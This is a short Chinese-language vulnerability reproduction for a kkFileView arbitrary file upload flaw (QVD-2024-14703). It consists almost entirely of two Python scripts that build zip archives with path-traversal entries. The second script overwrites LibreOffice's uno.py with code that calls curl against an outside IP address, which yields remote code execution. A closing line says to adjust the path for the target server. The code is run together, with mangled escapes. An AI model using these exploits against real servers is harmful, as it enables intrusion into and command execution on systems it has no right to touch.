【漏洞复现】kkFileView任意文件上传漏洞（QVD-2024-14703）

import zipfileif __name__ == "__main__":    try:        binary1 = b'test'        binary2 = b'test'        zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)        info = zipfile.ZipInfo("test.zip")        zipFile.writestr("test", binary1)        zipFile.writestr("../../../../../../../../../../../../../../../../../../../tmp/flag", binary2)        zipFile.close()    except IOError as e:        raise e

import zipfileif __name__ == "__main__":    try:        binary1 = b'test'        binary2 = b'import osrnos.system('curl http://192.168.20.131:9999/123123')'        zipFile = zipfile.ZipFile("test2.zip", "a", zipfile.ZIP_DEFLATED)        info = zipfile.ZipInfo("test2.zip")        zipFile.writestr("test", binary1)        zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)        zipFile.close()    except IOError as e:        raise e注：uno.py路径需结合目标服务器的路径更改。